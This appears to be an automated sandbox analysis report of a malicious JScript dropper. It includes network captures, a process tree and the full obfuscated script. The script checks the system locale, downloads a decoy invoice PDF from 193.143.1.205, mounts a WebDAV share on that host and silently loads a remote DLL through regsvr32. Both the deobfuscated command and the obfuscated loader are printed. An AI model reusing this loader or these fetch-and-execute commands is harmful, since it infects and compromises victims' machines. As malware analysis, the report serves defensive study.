/Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:00:19.037192106 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:00:19.037203074 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:00:19.037214994 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:00:19.037256956 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:00:19.037270069 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:00:19.037394047 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 02:00:19.037405968 CET	376	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 02:00:19.038418055 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 3c 38 38 d8 ef 7d 88 c8 ff 7a d0 4a 61 34 15 22 9d 44 73 b3 72 a6 8a 9a 7a e2 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 Data Ascii: 1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlh
Jan 11, 2025 02:00:19.038451910 CET	1236	IN	Data Raw: 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f 1e 43 4f 4f ee e6 31 f4 b2 89 a1 37 37 4f b7 e3 31 94 4d b9 1b 35 f5 cd 09 00 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 Data Ascii: ccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~
Jan 11, 2025 02:00:19.042114973 CET	448	IN	Data Raw: 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa 7b 2f fd d7 d9 df 9f fd 82 94 44 d3 94 68 1a 11 9d 7d 34 d9 97 2b 21 46 1f 91 29 49 54 32 68 4d 09 d5 19 d4 cc eb f9 a9 3d 9d 84 46 7b a8 d9 dc Data Ascii: cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7456	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:00:20.375772953 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:00:21.158931971 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:00:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:00:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js"
Imagebase:	0x7ff79ac60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:00:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll
Imagebase:	0x7ff651720000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:00:13
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:00:13
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:00:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:00:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff651720000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:00:19
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b4b50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:00:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:00:20
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:00:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1528,i,6355012401888127989,11459983525972699434,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dezguk() {	dezguk() ➔ undefined
1	vgyssmnwo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gktvuozh = this[ojsstour + vxbtoeo + dvujg + rwoicen + bymzouwyw + vvawylmf + paezyanen + ehmkhx] ( this[fpuznfin + mvjczjmo + iatundrlj + dvujg + xvzunp + ojsstour + ehmkhx][mvyes + dvujg + bymzouwyw + vxbtoeo + ehmkhx + bymzouwyw + efjdxkm + xmrlcs + qycdf + bymzouwyw + iatundrlj + ehmkhx] ( fpuznfin + mvjczjmo + iatundrlj + dvujg + xvzunp + ojsstour + ehmkhx + ammso + mvjczjmo + ekolfmuf + bymzouwyw + mrkeves + mrkeves ) [hqbujdavv + bymzouwyw + ucnbphps + hqbujdavv + bymzouwyw + vxbtoeo + dxqnnmhgr] ( meamkrjoh + qqktobig + dlwhrt + zeigyjf + afgqikoc + mvyes + jmudpirh + hqbujdavv + hqbujdavv + dlwhrt + dqhmjjko + ynszv + afgqikoc + jmudpirh + mvjczjmo + dlwhrt + hqbujdavv + tzxwym + mvyes + ksrysdwnp + paezyanen + ehmkhx + dvujg + ksrysdwnp + mrkeves + aujyecd + poxfjybpn + vxbtoeo + paezyanen + bymzouwyw + mrkeves + tzxwym + vvawylmf + paezyanen + ehmkhx + bymzouwyw + dvujg + paezyanen + vxbtoeo + ehmkhx + xvzunp + ksrysdwnp + paezyanen + vxbtoeo + mrkeves + tzxwym + yhaath + ksrysdwnp + iatundrlj + vxbtoeo + mrkeves + bymzouwyw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hbtdrvvno = 0 ; hbtdrvvno < vgyssmnwo[mrkeves + bymzouwyw + paezyanen + ucnbphps + ehmkhx + ekolfmuf] ; ++ hbtdrvvno )
4	{
5	if ( gktvuozh == vgyssmnwo[hbtdrvvno] )
6	{
7	gktvuozh = true;
8	break ;
9	}
10	}
11	if ( gktvuozh !== true )
12	this[fpuznfin + mvjczjmo + iatundrlj + dvujg + xvzunp + ojsstour + ehmkhx][naqpo + eqmaln + xvzunp + ehmkhx] ( );
13	this[fpuznfin + mvjczjmo + iatundrlj + dvujg + xvzunp + ojsstour + ehmkhx][mvyes + dvujg + bymzouwyw + vxbtoeo + ehmkhx + bymzouwyw + efjdxkm + xmrlcs + qycdf + bymzouwyw + iatundrlj + ehmkhx] ( fpuznfin + mvjczjmo + iatundrlj + dvujg + xvzunp + ojsstour + ehmkhx + ammso + mvjczjmo + ekolfmuf + bymzouwyw + mrkeves + mrkeves ) [dvujg + eqmaln + paezyanen] ( iatundrlj + tukcaw + dxqnnmhgr + aujyecd + ehixsj + iatundrlj + aujyecd + ojsstour + ksrysdwnp + bblddtaar + bymzouwyw + dvujg + rwoicen + ekolfmuf + bymzouwyw + mrkeves + mrkeves + ammso + bymzouwyw + nbuparsfn + bymzouwyw + aujyecd + ppqjcxui + mvyes + ksrysdwnp + tukcaw + tukcaw + vxbtoeo + paezyanen + dxqnnmhgr + aujyecd + yxixuatzo + vvawylmf + paezyanen + uvmvyn + ksrysdwnp + bacuwzugt + bymzouwyw + ppqjcxui + fpuznfin + bymzouwyw + xmrlcs + hqbujdavv + bymzouwyw + spykr + eqmaln + bymzouwyw + rwoicen + ehmkhx + aujyecd + ppqjcxui + efjdxkm + eqmaln + ehmkhx + yinla + xvzunp + mrkeves + bymzouwyw + aujyecd + lgohdiy + ehmkhx + bymzouwyw + tukcaw + ojsstour + lgohdiy + tzxwym + xvzunp + paezyanen + uvmvyn + ksrysdwnp + xvzunp + iatundrlj + bymzouwyw + ammso + ojsstour + dxqnnmhgr + grbesvfdd + aujyecd + ekolfmuf + ehmkhx + ehmkhx + ojsstour + vfaid + ehixsj + ehixsj + nlsfti + dzhuy + usccnadg + ammso + nlsfti + dvnbo + usccnadg + ammso + nlsfti + ammso + thsem + pdimica + snzwy + ehixsj + xvzunp + paezyanen + uvmvyn + ksrysdwnp + xvzunp + iatundrlj + bymzouwyw + ammso + ojsstour + ekolfmuf + ojsstour + yxixuatzo + jlcmua + jlcmua + rwoicen + ehmkhx + vxbtoeo + dvujg + ehmkhx + aujyecd + lgohdiy + ehmkhx + bymzouwyw + tukcaw + ojsstour + lgohdiy + tzxwym + xvzunp + paezyanen + uvmvyn + ksrysdwnp + xvzunp + iatundrlj + bymzouwyw + ammso + ojsstour + dxqnnmhgr + grbesvfdd + jlcmua + jlcmua + iatundrlj + tukcaw + dxqnnmhgr + aujyecd + ehixsj + iatundrlj + aujyecd + paezyanen + bymzouwyw + ehmkhx + aujyecd + eqmaln + rwoicen + bymzouwyw + aujyecd + tzxwym + tzxwym + nlsfti + dzhuy + usccnadg + ammso + nlsfti + dvnbo + usccnadg + ammso + nlsfti + ammso + thsem + pdimica + snzwy + pcnxcph + gsjinihmx + gsjinihmx + gsjinihmx + gsjinihmx + tzxwym + dxqnnmhgr + vxbtoeo + uvmvyn + bblddtaar + bblddtaar + bblddtaar + dvujg + ksrysdwnp + ksrysdwnp + ehmkhx + tzxwym + jlcmua + jlcmua + iatundrlj + tukcaw + dxqnnmhgr + aujyecd + ehixsj + iatundrlj + aujyecd + dvujg + bymzouwyw + ucnbphps + rwoicen + uvmvyn + dvujg + usccnadg + thsem + aujyecd + ehixsj + rwoicen + aujyecd + tzxwym + tzxwym + nlsfti + dzhuy + usccnadg + ammso + nlsfti + dvnbo + usccnadg + ammso + nlsfti + ammso + thsem + pdimica + snzwy + pcnxcph + gsjinihmx + gsjinihmx + gsjinihmx + gsjinihmx + tzxwym + dxqnnmhgr + vxbtoeo + uvmvyn + bblddtaar + bblddtaar + bblddtaar + dvujg + ksrysdwnp + ksrysdwnp + ehmkhx + tzxwym + usccnadg + dzhuy + gsjinihmx + dzhuy + nlsfti + dvnbo + snzwy + dgumqhpil + gsjinihmx + thsem + dvnbo + akxybwlux + nlsfti + dzhuy + ammso + dxqnnmhgr + mrkeves + mrkeves, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll",0,false) ➔ 0
14	}
15	bymzouwyw = "m";
16	bymzouwyw = "k";
17	bymzouwyw = "l";
18	bymzouwyw = "Q";
19	bymzouwyw = "y";
20	bymzouwyw = "V";
21	bymzouwyw = "O";
22	bymzouwyw = "w";
23	bymzouwyw = "z";
24	bymzouwyw = "G";
25	bymzouwyw = "C";
26	bymzouwyw = "L";
27	bymzouwyw = "u";
28	bymzouwyw = "o";
29	bymzouwyw = "A";
30	bymzouwyw = "A";
31	bymzouwyw = "a";
32	bymzouwyw = "k";
33	bymzouwyw = "G";
34	bymzouwyw = "e";
35	bymzouwyw = "k";
36	bymzouwyw = "v";
37	bymzouwyw = "v";
38	bymzouwyw = "c";
39	bymzouwyw = "E";
40	bymzouwyw = "V";
41	bymzouwyw = "n";
42	bymzouwyw = "V";
43	bymzouwyw = "e";
44	xmrlcs = "h";
45	xmrlcs = "D";
46	xmrlcs = "b";
47	xmrlcs = "V";
48	xmrlcs = "Z";
49	xmrlcs = "Y";
50	xmrlcs = "D";
51	xmrlcs = "Q";
52	xmrlcs = "o";
53	xmrlcs = "s";
54	xmrlcs = "v";
55	xmrlcs = "H";
56	xmrlcs = "G";
57	xmrlcs = "u";
58	xmrlcs = "o";
59	xmrlcs = "T";
60	xmrlcs = "Q";
61	xmrlcs = "b";
62	xmrlcs = "B";
63	xmrlcs = "o";
64	xmrlcs = "N";
65	xmrlcs = "m";
66	xmrlcs = "B";
67	xmrlcs = "W";
68	xmrlcs = "M";
69	xmrlcs = "o";
70	xmrlcs = "R";
71	xmrlcs = "O";
72	xmrlcs = "t";
73	xmrlcs = "X";
74	xmrlcs = "Z";
75	xmrlcs = "m";
76	xmrlcs = "F";
77	xmrlcs = "X";
78	xmrlcs = "j";
79	xmrlcs = "u";
80	xmrlcs = "z";
81	xmrlcs = "S";
82	xmrlcs = "y";
83	xmrlcs = "G";
84	xmrlcs = "m";
85	xmrlcs = "b";
86	efjdxkm = "b";
87	efjdxkm = "U";
88	efjdxkm = "w";
89	efjdxkm = "L";
90	efjdxkm = "Y";
91	efjdxkm = "G";
92	efjdxkm = "q";
93	efjdxkm = "u";
94	efjdxkm = "i";
95	efjdxkm = "W";
96	efjdxkm = "d";
97	efjdxkm = "V";
98	efjdxkm = "n";
99	efjdxkm = "N";
100	efjdxkm = "O";
101	jmudpirh = "j";
102	jmudpirh = "F";
103	jmudpirh = "Z";
104	jmudpirh = "t";
105	jmudpirh = "U";
106	ojsstour = "g";
107	ojsstour = "o";
108	ojsstour = "i";
109	ojsstour = "G";
110	ojsstour = "N";
111	ojsstour = "e";
112	ojsstour = "F";
113	ojsstour = "C";
114	ojsstour = "R";
115	ojsstour = "G";
116	ojsstour = "M";
117	ojsstour = "h";
118	ojsstour = "F";
119	ojsstour = "Q";
120	ojsstour = "C";
121	ojsstour = "B";
122	ojsstour = "m";
123	ojsstour = "C";
124	ojsstour = "y";
125	ojsstour = "B";
126	ojsstour = "j";
127	ojsstour = "S";
128	ojsstour = "v";
129	ojsstour = "C";
130	ojsstour = "Q";
131	ojsstour = "D";
132	ojsstour = "s";
133	ojsstour = "o";
134	ojsstour = "o";
135	ojsstour = "f";
136	ojsstour = "z";
137	ojsstour = "i";
138	ojsstour = "n";
139	ojsstour = "i";
140	ojsstour = "f";
141	ojsstour = "p";
142	fpuznfin = "y";
143	fpuznfin = "x";
144	fpuznfin = "b";
145	fpuznfin = "O";
146	fpuznfin = "M";
147	fpuznfin = "W";
148	fpuznfin = "O";
149	fpuznfin = "H";
150	fpuznfin = "A";
151	fpuznfin = "X";
152	fpuznfin = "i";
153	fpuznfin = "I";
154	fpuznfin = "b";
155	fpuznfin = "x";
156	fpuznfin = "Y";
157	fpuznfin = "a";
158	fpuznfin = "z";
159	fpuznfin = "J";
160	fpuznfin = "H";
161	fpuznfin = "g";
162	fpuznfin = "W";
163	pcnxcph = "n";
164	pcnxcph = "a";
165	pcnxcph = "y";
166	pcnxcph = "g";
167	pcnxcph = "O";
168	pcnxcph = "z";
169	pcnxcph = "l";
170	pcnxcph = "e";
171	pcnxcph = "B";
172	pcnxcph = "V";
173	pcnxcph = "y";
174	pcnxcph = "M";
175	pcnxcph = "b";
176	pcnxcph = "Z";
177	pcnxcph = "b";
178	pcnxcph = "W";
179	pcnxcph = "y";
180	pcnxcph = "r";
181	pcnxcph = "B";
182	pcnxcph = "Q";
183	pcnxcph = "@";
184	tzxwym = "o";
185	tzxwym = "y";
186	tzxwym = "Q";
187	tzxwym = "u";
188	tzxwym = "J";
189	tzxwym = "n";
190	tzxwym = "p";
191	tzxwym = "j";
192	tzxwym = "K";
193	tzxwym = "p";
194	tzxwym = "d";
195	tzxwym = "K";
196	tzxwym = "w";
197	tzxwym = "z";
198	tzxwym = "A";
199	tzxwym = "M";
200	tzxwym = "V";
201	tzxwym = "\\";
202	bblddtaar = "Q";
203	bblddtaar = "F";
204	bblddtaar = "D";
205	bblddtaar = "H";
206	bblddtaar = "v";
207	bblddtaar = "I";
208	bblddtaar = "Z";
209	bblddtaar = "A";
210	bblddtaar = "D";
211	bblddtaar = "n";
212	bblddtaar = "p";
213	bblddtaar = "T";
214	bblddtaar = "p";
215	bblddtaar = "D";
216	bblddtaar = "P";
217	bblddtaar = "o";
218	bblddtaar = "c";
219	bblddtaar = "J";
220	bblddtaar = "j";
221	bblddtaar = "P";
222	bblddtaar = "J";
223	bblddtaar = "Y";
224	bblddtaar = "B";
225	bblddtaar = "E";
226	bblddtaar = "x";
227	bblddtaar = "d";
228	bblddtaar = "O";
229	bblddtaar = "e";
230	bblddtaar = "g";
231	bblddtaar = "D";
232	bblddtaar = "y";
233	bblddtaar = "r";
234	bblddtaar = "w";
235	grbesvfdd = "m";
236	grbesvfdd = "A";
237	grbesvfdd = "I";
238	grbesvfdd = "r";
239	grbesvfdd = "T";
240	grbesvfdd = "Y";
241	grbesvfdd = "P";
242	grbesvfdd = "P";
243	grbesvfdd = "P";
244	grbesvfdd = "I";
245	grbesvfdd = "C";
246	grbesvfdd = "o";
247	grbesvfdd = "z";
248	grbesvfdd = "n";
249	grbesvfdd = "m";
250	grbesvfdd = "E";
251	grbesvfdd = "C";
252	grbesvfdd = "k";
253	grbesvfdd = "l";
254	grbesvfdd = "R";
255	grbesvfdd = "R";
256	grbesvfdd = "a";
257	grbesvfdd = "J";
258	grbesvfdd = "X";
259	grbesvfdd = "f";
260	qycdf = "D";
261	qycdf = "p";
262	qycdf = "a";
263	qycdf = "A";
264	qycdf = "d";
265	qycdf = "B";
266	qycdf = "b";
267	qycdf = "l";
268	qycdf = "k";
269	qycdf = "i";
270	qycdf = "v";
271	qycdf = "S";
272	qycdf = "P";
273	qycdf = "I";
274	qycdf = "J";
275	qycdf = "j";
276	vfaid = "C";
277	vfaid = "j";
278	vfaid = "m";
279	vfaid = "H";
280	vfaid = "t";
281	vfaid = "z";
282	vfaid = ":";
283	tukcaw = "O";
284	tukcaw = "Y";
285	tukcaw = "p";
286	tukcaw = "B";
287	tukcaw = "E";
288	tukcaw = "g";
289	tukcaw = "z";
290	tukcaw = "Z";
291	tukcaw = "D";
292	tukcaw = "q";
293	tukcaw = "H";
294	tukcaw = "F";
295	tukcaw = "S";
296	tukcaw = "d";
297	tukcaw = "N";
298	tukcaw = "f";
299	tukcaw = "F";
300	tukcaw = "m";
301	bacuwzugt = "k";
302	bacuwzugt = "k";
303	dqhmjjko = "h";
304	dqhmjjko = "Y";
305	dqhmjjko = "s";
306	dqhmjjko = "j";
307	dqhmjjko = "P";
308	dqhmjjko = "N";
309	dqhmjjko = "a";
310	dqhmjjko = "p";
311	dqhmjjko = "b";
312	dqhmjjko = "a";
313	dqhmjjko = "C";
314	dqhmjjko = "d";
315	dqhmjjko = "u";
316	dqhmjjko = "b";
317	dqhmjjko = "Z";
318	dqhmjjko = "L";
319	dqhmjjko = "r";
320	dqhmjjko = "F";
321	dqhmjjko = "k";
322	dqhmjjko = "D";
323	dqhmjjko = "f";
324	dqhmjjko = "A";
325	dqhmjjko = "N";
326	eqmaln = "B";
327	eqmaln = "C";
328	eqmaln = "S";
329	eqmaln = "n";
330	eqmaln = "N";
331	eqmaln = "f";
332	eqmaln = "W";
333	eqmaln = "Q";
334	eqmaln = "O";
335	eqmaln = "C";
336	eqmaln = "d";
337	eqmaln = "X";
338	eqmaln = "u";
339	pdimica = "S";
340	pdimica = "n";
341	pdimica = "p";
342	pdimica = "z";
343	pdimica = "N";
344	pdimica = "M";
345	pdimica = "m";
346	pdimica = "g";
347	pdimica = "h";
348	pdimica = "I";
349	pdimica = "I";
350	pdimica = "b";
351	pdimica = "A";
352	pdimica = "X";
353	pdimica = "T";
354	pdimica = "c";
355	pdimica = "L";
356	pdimica = "V";
357	pdimica = "J";
358	pdimica = "e";
359	pdimica = "0";
360	ammso = "c";
361	ammso = "x";
362	ammso = "k";
363	ammso = "d";
364	ammso = "s";
365	ammso = "p";
366	ammso = "T";
367	ammso = "Q";
368	ammso = "J";
369	ammso = "l";
370	ammso = "L";
371	ammso = "r";
372	ammso = "P";
373	ammso = "P";
374	ammso = "W";
375	ammso = "A";
376	ammso = "x";
377	ammso = "R";
378	ammso = "U";
379	ammso = "a";
380	ammso = "b";
381	ammso = "a";
382	ammso = "C";
383	ammso = "r";
384	ammso = "G";
385	ammso = "O";
386	ammso = "P";
387	ammso = "V";
388	ammso = "s";
389	ammso = "o";
390	ammso = "i";
391	ammso = "Y";
392	ammso = "R";
393	ammso = "h";
394	ammso = "e";
395	ammso = "s";
396	ammso = "U";
397	ammso = "C";
398	ammso = "C";
399	ammso = ".";
400	uvmvyn = "g";
401	uvmvyn = "w";
402	uvmvyn = "W";
403	uvmvyn = "p";
404	uvmvyn = "H";
405	uvmvyn = "C";
406	uvmvyn = "v";
407	uvmvyn = "C";
408	uvmvyn = "f";
409	uvmvyn = "G";
410	uvmvyn = "v";
411	meamkrjoh = "g";
412	meamkrjoh = "r";
413	meamkrjoh = "y";
414	meamkrjoh = "x";
415	meamkrjoh = "O";
